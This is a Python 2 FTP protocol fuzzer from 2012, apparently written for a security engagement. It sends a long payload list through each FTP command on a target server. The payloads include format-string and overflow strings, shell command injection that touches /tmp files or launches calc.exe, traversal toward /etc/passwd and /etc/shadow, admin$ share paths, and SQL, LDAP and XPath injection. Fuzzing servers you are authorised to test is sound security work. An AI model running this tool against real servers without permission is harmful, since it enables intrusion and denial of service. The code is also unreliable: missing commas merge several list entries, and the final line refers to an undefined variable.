#!/usr/bin/python

'''
ftpfuzzer - Version 2.0 (2012-11-01).
Latest version at http://www.itsec.se

A protocol fuzzer for FTP (RFC 959) and associated extensions.
Wrote it for a customer engagement in an attempt to provide
improved compliance with FTP specification and to produce
extended debugging output. 

Support the following FTP extensions:
- RFC 2428 (EPSV, EPRT)
- RFC 2389 (FEAT, OPTS)
- RFC 3659 (MDTM, SIZE, MLST, MLSD)
- RFC 1639 (LPRT)
- RFC 2640 (LANG)
- RFC 2228 (AUTH, ADAT, PROT, PBSZ, CCC, MIC, CONF, ENC)

Known imitations:
- Requires Python 2.7 or later
- QUIT command is not fuzzed
- Only support IPv4, although fuzzing of the EPSV is supported
- Data on data connection is not fuzzed
- FTPS (FTP over SSL/TLS) is not supported, only RFC 2228 commands.

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the named License,
or any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

Copyright (C) 2012 by Gustav Nordenskjold, Sweden.
'''


import os, sys, re, datetime, time, socket, base64
	
CRLF = '\r\n'
WAIT = 1      #Delay between commands
TIMEOUT = 4  #Socket timeout

class FUZZER:
	commands = None
	payloads = None

	def __init__(self, host): 
	
		#Supported fuzzing commands (some commands support multiple fuzzing vectors)
		self.commands = [ 	'ABOR', 'ACCT', 'CDUP', 'CWD' , 'STOU', 'LIST', 'HELP',	 #RFC 959
							'MODE', 'NLST', 'NOOP', 'PASS', 'PASV', 'PWD' , 'SITE',   #RFC 959
							'REIN', 'REST', 'RETR', 'RNFR', 'RNTO', 'APPE',	'SMNT',  #RFC 959
							'STAT', 'STOR', 'DELE', 'STRU', 'SYST', 'USER',   #RFC 959
							'TYPE I', 'TYPE A', 'TYPE E', 'TYPE L', 'ALLO', 'ALLO R',   #RFC 959
							'MKD', 'RMD', 'MKD /',   #RFC 959
							'PORT h1', 'PORT h2', 'PORT h3', 'PORT h4', 'PORT p1', 'PORT p2',   #RFC 959
							'EPSV', 'EPRT', 'EPRT af', 'EPRT ip4', 'EPRT port', 'EPRT ip6',   #RFC 2428
							'LPRT af', 'LPRT ha1', 'LPRT h1', 'LPRT pa1', 'LPRT p1',   #RFC 1639
							'MDTM', 'SIZE', 'MLST', 'MLSD',   #RFC 3659
							'FEAT', 'OPTS', 'OPTS OPTS',   #RFC 2389
							'LANG', 'LANG sub-tag',   #RFC 2640
							'MIC', 'MIC base64', 'CONF', 'CONF base64', 'ENC', 'ENC base64',   #RFC 2228
							'ADAT', 'ADAT base64', 'AUTH', 'PBSZ', 'PROT', 'CCC'   #RFC 2228
							'FUZZ'   #Fuzz command, rather than parameters
		]
		
		
		#Fuzzing payloads
		self.payloads = ["%n%n%n%n%n", "%p%p%p%p%p", "%s%s%s%s%s", "%d%d%d%d%d", "%x%x%x%x%x",
						"%s%p%x%d", "%.1024d", "%.1025d", "%.2048d", "%.2049d", "%.4096d", "%.4097d",
						"%99999999999s", "%08x", "%%20n", "%%20p", "%%20s", "%%20d", "%%20x", 
						"%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%", "%0xa", "%u000",
						
						"//AAAA" * 250, "\\AAAA" * 250, "\0xCD" * 50, "\0xCB" * 50,
						"A" * 8200, "A" * 11000, "A" * 110000, "A" * 1100000, "A" * 2200000, "\0x99" * 1200,
			
						"0", "-0", "1", "-1", "32767", "-32768", "65537", "-65537", "16777217", 
						"357913942", "-357913942", "2147483648", "4294967296", "536870912", "-536870912", 
						"99999999999", "-99999999999", "0x100", "0x1000",
						"0x3fffffff", "0x7ffffffe", "0x7fffffff", "0x80000000", "0xffff", "0xfffffffe",
						"0xfffffff", "0xffffffff", "0x10000", "0x100000", "0x99999999", 
						
						"test|touch /tmp/ZfZ-PWNED|test", "test`touch /tmp/ZfZ-PWNED`test",
						"test'touch /tmp/ZfZ-PWNED'test", "test;touch /tmp/ZfZ-PWNED;test",
						"test&&touch /tmp/ZfZ-PWNED&&test", "test|C:/WINDOWS/system32/calc.exe|test",
						"test`C:/WINDOWS/system32/calc.exe`test", "test'C:/WINDOWS/system32/calc.exe'test",
						"test;C:/WINDOWS/system32/calc.exe;test", "/bin/sh", "C:/WINDOWS/system32/calc.exe",
						
						"\\\\.\\GLOBALROOT\\Device\\HarddiskVolume1\\", "\\\\.\\CdRom0\\",
						"\\\\.\\c:", "\\\\?\\", "\\\\?\\Device\\CdRom0",
						"\\\\?\\Device\\Floppy0", "\\\\?\\Device\\Harddisk0\\Partition0",
						"\\\\?\\Device\\Harddisk1\\Partition1",
						"\\\\" + host + "\\admin$\\", "\\\\" + host + "\\C$\\",
						"\\\\" + host + "\\C$\\", "\\\\?\\UNC\\" + host + "\\C$\\",
						"\\\\127.0.0.1\\admin$\\", "\\\\127.0.0.1\\C$\\",
						"\\\\127.0.0.1\\C$\\", "\\\\?\\UNC\\127.0.0.1\\C$\\"			
			
						"../../../../../../../../../../../../etc/hosts%00", "../../../../../../../../../../../../etc/hosts", 
						"../../../../../../../../../../../../etc/passwd", "../../../../../../../../../../../../etc/shadow%00",
						"../../../../../../../../../../../../etc/shadow", "/../../../../../../../../../../etc/passwd^^",
						"/../../../../../../../../../../etc/shadow^^", "/../../../../../../../../../../etc/passwd",
						"/../../../../../../../../../../etc/shadow", "/./././././././././././etc/passwd", 
						"/./././././././././././etc/shadow", "\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\etc\\passwd",
						"\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shadow",
						"..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd",
						"..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shadow",
						"/..\\../..\\../..\\../..\\../..\\../..\\../etc/passwd",
						"/..\\../..\\../..\\../..\\../..\\../..\\../etc/shadow",
						".\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./etc/passwd",
						".\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./etc/shadow",
						"\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\passwd%00",
						"\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shadow%00",
						"..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd%00",
						"..\..\..\..\..\..\..\..\..\..\etc\shadow%00", "%0a/bin/cat%20/etc/passwd",
						"%0a/bin/cat%20/etc/shadow", "%00/etc/passwd%00", "%00/etc/shadow%00",
						"%00../../../../../../etc/passwd", "%00../../../../../../etc/shadow",
						"/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd",
						"/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow",
						"C:/boot.ini", "C:\\boot.ini", "../../boot.ini", "../../../../../../../../../../../../boot.ini",
						"/./././././././././././boot.ini", "/../../../../../../../../../../../boot.ini",
						"/..\\../..\\../..\\../..\\../..\\../..\\../boot.ini",
						"/.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./boot.ini",
						"\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini",
						"..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini",
						"symlink.lnk", "symlink2.lnk%00", "symlink3.lnk%0a"
						
						"x' or name()='username' or 'x'='y", "*(|(mail=*))", "*(|(objectclass=*))",			
						"*()|&'", "admin*", "admin*)((|userpassword=*)", "*)(uid=*))(|(uid=*",
			
						"'--", "' or 1=1--", "1 or 1=1--", "' or 1 in (@@version)--", "1 or 1 in (@@version)--",
						"'; waitfor delay '0:30:0'--", "1; waitfor delay '0:30:0'--",
						
						"&", "(", ")", "*/*", "*|", "/", "//", "//*", "@*","|", "!", "\\", "@", "#", "$", "&&"
						]
	
class FTP:
	sock = None
	file = None
	outputfile = None
	keyfile = None
	certfile = None	
		
	def __init__(self, host, port, output): 
		self.outputfile = open(output,'a')
		self.host = host
		self.port = port
		try:
			self.sock = socket.create_connection((self.host, self.port), TIMEOUT)
			self.file = self.sock.makefile('rb')
			self.getreply()
		except Exception, e:
			print '\nConnection Error: ' + str(e)
			sys.exit(0)
		
		
	def login(self, username, password):
		self.sendcmd('USER ' + username)
		reply = self.sendcmd('PASS ' + password)
		if reply[:1] != '2':
			print '\nLogin Error: Unable to login.'
			print 'Please verify user credentials and server settings.'
			print 'Review output file for more information.'
			self.quit()
			sys.exit(1)	
	
	
	def sendcmd(self, cmd):
		print >>self.outputfile, cmd[:50]
		self.sock.sendall(cmd + CRLF)
		return self.getreply()
		
		
	def getreply(self):
		try:
			reply = self.file.readline()
			if reply[3:4] == '-':
				code = reply[:3]
				while 1:
					nextline = self.file.readline()
					reply = reply + nextline
					if nextline[:3] == code and nextline[3:4] != '-':
						break
		except:
			return ''
		print >>self.outputfile, reply[:350]
		return reply
	
	
	def dataconnection(self, cmd, writedata=''):
		reply = self.sendcmd('PASV')
		if reply[:3] != '227': return None
		pattern = re.compile(r'(\d+),(\d+),(\d+),(\d+),(\d+),(\d+)')
		m = pattern.search(reply)
		if not m: return None
		numbers = m.groups()
		host = '.'.join(numbers[:4])
		port = (int(numbers[4]) << 8) + int(numbers[5])
		try:
			conn = socket.create_connection((host, port), TIMEOUT)
		except Exception, e:
			print '\nData connection Error: ' + str(e)
			self.quit()
			sys.exit(0)
		reply = self.sendcmd(cmd)
		if writedata != '':
			conn.sendall(writedata + CRLF)
		elif reply[:1] != '5':
			fp = conn.makefile('rb')
			for line in fp.readlines():
				print >>self.outputfile, line,
			fp.close()
		conn.close()
		self.getreply()
		
				
	def quit(self):
		try:
			self.sendcmd('QUIT')
		except Exception, e:
			print '\nQuit Error: ' + str(e)
			print 'Please verify that the server has not crashed!'
			print 'Review output file for more information.'
			sys.exit(0)
		if self.file is not None: self.file.close()
		if self.sock is not None: self.sock.close()
		self.file = self.sock = None
		self.outputfile.close()
		
	
if __name__ == '__main__':

	print 'ftpfuzzer - Fuzzer for FTP servers'
	print 'Version 2.0 (2012-11-01). Latest version at http://www.itsec.se'
	print ''
	print 'Usage: python ' + sys.argv[0] + ' host [-p port] [-U user] [-P passwd] [-o output]'
	print ''
	
	if len(sys.argv) < 2:
		print 'Setup Error: Please specify target host.'
		sys.exit(0)
	else:
		host = sys.argv[1]
	
	port = 21
	user = 'anonymous'
	passwd = 'anonymous'
	output = 'output.txt'
	
	for i in range(len(sys.argv)):
		if sys.argv[i][:2] == '-p':
			port = sys.argv[i+1]
		elif sys.argv[i][:2] == '-U':
			user = sys.argv[i+1]
		elif sys.argv[i][:2] == '-P':
			passwd = sys.argv[i+1]
		elif sys.argv[i][:2] == '-o':
			output = sys.argv[i+1]
		
	print 'Verifying target:',
	ftp = FTP(host, port, output)
	ftp.login(user, passwd)
	ftp.dataconnection('STOR testfile.txt', 'Verifying target')
	ftp.sendcmd('DELE testfile.txt')
	ftp.quit()
	print 'Online'
	
	fuzzer = FUZZER(host)
	print 'Fuzzing commands: ' + str(len(fuzzer.commands))
	
	print 'Output file: ' + output
	print ''
	print 'Hint: Use \"tail -f ' + output + '\" for continuous output.'
	print ''
	
	#Loop supported commands
	for cmd in fuzzer.commands:
		print 'Fuzzing ' + cmd + '...'

		#Loop through payloads	
		for payload in fuzzer.payloads:
			ftp = FTP(host, port, output)
			if cmd == 'USER':
				ftp.sendcmd('USER ' + payload)
				ftp.sendcmd('PASS ' + passwd)
			elif cmd == 'PASS':
				ftp.sendcmd('USER ' + user)
				ftp.sendcmd('PASS ' + payload)
			else:
				ftp.login(user, passwd)
				if cmd == 'LIST':
					ftp.sendcmd('TYPE A')
					ftp.dataconnection('LIST ' + payload)
				elif cmd == 'NLST':
					ftp.sendcmd('TYPE A')
					ftp.dataconnection('NLST' + ' ' + payload)
				elif cmd == 'TYPE I':
					ftp.sendcmd('TYPE I' + ' ' + payload)
					ftp.dataconnection('LIST .')
				elif cmd == 'TYPE A':
					ftp.sendcmd('TYPE A' + ' ' + payload)
					ftp.dataconnection('LIST .')
				elif cmd == 'TYPE E':
					ftp.sendcmd('TYPE E' + ' ' + payload)
					ftp.dataconnection('LIST .')
				elif cmd == 'TYPE L':
					ftp.sendcmd('TYPE L' + ' ' + payload)
					ftp.dataconnection('LIST .')
				elif cmd == 'PASV':
					ftp.sendcmd( 'PASV ' + payload )
					ftp.sendcmd( 'ABOR ' )
				elif cmd == 'PORT h1':
					ftp.sendcmd('PORT ' + payload + ',168,0,1,10,10')
				elif cmd == 'PORT h2':
					ftp.sendcmd('PORT 192,' + payload + ',0,1,10,10')
				elif cmd == 'PORT h3':
					ftp.sendcmd('PORT 192,168,' + payload + ',1,10,10')
				elif cmd == 'PORT h4':
					ftp.sendcmd('PORT 192,168,0,' + payload + ',10,10')
				elif cmd == 'PORT p1':
					ftp.sendcmd('PORT 192,168,0,1,' + payload + ',10')
				elif cmd == 'PORT p2':
					ftp.sendcmd('PORT 192,168,0,1,10,' + payload)
				elif cmd == 'REST':
					ftp.sendcmd('TYPE A')
					ftp.sendcmd('REST ' + payload)
					ftp.dataconnection('STOR testfile.txt', 'File content')
				elif cmd == 'RETR':
					ftp.sendcmd('TYPE A')
					ftp.dataconnection('RETR ' + payload)
				elif cmd == 'RNFR':
					ftp.sendcmd('RNFR ' + payload)
					ftp.sendcmd('RNTO testfile.txt')
				elif cmd == 'RNTO':
					ftp.dataconnection('APPE testfile.txt', 'File content')
					ftp.sendcmd('RNFR testfile.txt')
					ftp.sendcmd('RNTO ' + payload)
				elif cmd == 'STOR':
					ftp.sendcmd('TYPE A')
					ftp.dataconnection('STOR ' + payload, payload)
				elif cmd == 'STOU':
					ftp.sendcmd('TYPE A')
					ftp.dataconnection('STOU ' + payload, payload)
				elif cmd == 'APPE':
					ftp.sendcmd('TYPE A')
					ftp.dataconnection('APPE ' + payload, payload)
				elif cmd == 'EPRT af':
					ftp.sendcmd( 'EPRT |' + payload + '|132.235.1.2|6275|')
				elif cmd == 'EPRT ip4':
					ftp.sendcmd( 'EPRT |1|192.168.0.' + payload + '|6275|')
				elif cmd == 'EPRT port':
					ftp.sendcmd( 'EPRT |1|132.235.1.2|' + payload + '|')
				elif cmd == 'EPRT ip6':
					ftp.sendcmd( 'EPRT |2|1080::8:800:200C:' + payload + '|6275|')
				elif cmd == 'EPSV':
					ftp.sendcmd( 'EPSV ' + payload )
					ftp.sendcmd( 'ABOR ' )
				elif cmd == 'MLST':
					ftp.sendcmd('TYPE A')
					ftp.dataconnection('MLST ' + payload)
				elif cmd == 'MLSD':
					ftp.sendcmd('TYPE A')
					ftp.dataconnection('MLSD ' + payload)
				elif cmd == 'LPRT af':
					ftp.sendcmd('LPRT ' + payload + ',16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,2,139,81')
				elif cmd == 'LPRT ha1':
					ftp.sendcmd('LPRT 4,' + payload + ',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,2,139,81')
				elif cmd == 'LPRT h1':
					ftp.sendcmd('LPRT 4,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,' + payload + ',2,139,81')
				elif cmd == 'LPRT pa1':
					ftp.sendcmd('LPRT 4,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,' + payload + ',139,81')
				elif cmd == 'LPRT p1':
					ftp.sendcmd('LPRT 4,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,2,139,' + payload + '')
				elif cmd == 'LANG sub-tag':
					ftp.sendcmd( 'LANG en-' + payload )
				elif cmd == 'ADAT base64':
					ftp.sendcmd( 'ADAT ' + base64.encodestring(payload) )
				elif cmd == 'MIC base64':
					ftp.sendcmd( 'MIC ' + base64.encodestring(payload) )
				elif cmd == 'CONF base64':
					ftp.sendcmd( 'CONF ' + base64.encodestring(payload) )
				elif cmd == 'ENC base64':
					ftp.sendcmd( 'ENC ' + base64.encodestring(payload) )
				elif cmd == 'FUZZ':
					ftp.sendcmd( payload + ' AAA' )
				else:
					ftp.sendcmd( cmd + ' ' + payload)
			ftp.quit()
			time.sleep(WAIT)
	print ''

	print 'Fuzzing completed. ' + str(len(commands)) + ' commands have been fuzzed.'
	